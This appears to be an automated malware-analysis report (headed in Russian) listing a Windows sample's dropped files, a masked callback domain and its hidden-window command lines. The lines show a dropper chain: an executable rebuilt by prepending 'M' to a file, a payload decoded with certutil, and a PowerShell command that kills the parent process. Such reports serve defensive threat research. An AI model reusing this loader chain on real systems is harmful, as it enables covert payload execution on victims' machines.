Техническая информация
- smss.com
- %TEMP%\ixp000.tmp\bolo.com
- %TEMP%\ixp000.tmp\lsm.com
- %TEMP%\ixp000.tmp\houmo.com
- %TEMP%\ixp000.tmp\smss.com
- %TEMP%\ixp000.tmp\treaz
- %TEMP%\ixp000.tmp\lsm.com
- http://up#######indows-10-184623.com/
- DNS ASK up#######indows-10-184623.com
- '%TEMP%\ixp000.tmp\smss.com' treaz
- '%TEMP%\ixp000.tmp\smss.com'
- '%WINDIR%\syswow64\cmd.exe' /c <nul set /p ="M" > smss.com & type lsm.com >> smss.com & del lsm.com & certutil -decode bolo.com treaz & smss.com treaz & timeout 3' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "$molk = (Get-WmiObject win32_process -Filter "processid=$pid").parentprocessid; $vog = (Get-WmiObject win32_process -Filter "processid=$molk").executablepath; Stop-Process -ID $molk -...' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c <nul set /p ="M" > smss.com & type lsm.com >> smss.com & del lsm.com & certutil -decode bolo.com treaz & smss.com treaz & timeout 3
- '%WINDIR%\syswow64\certutil.exe' -decode bolo.com treaz
- '%WINDIR%\syswow64\timeout.exe' 3
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "$molk = (Get-WmiObject win32_process -Filter "processid=$pid").parentprocessid; $vog = (Get-WmiObject win32_process -Filter "processid=$molk").executablepath; Stop-Process -ID $molk -...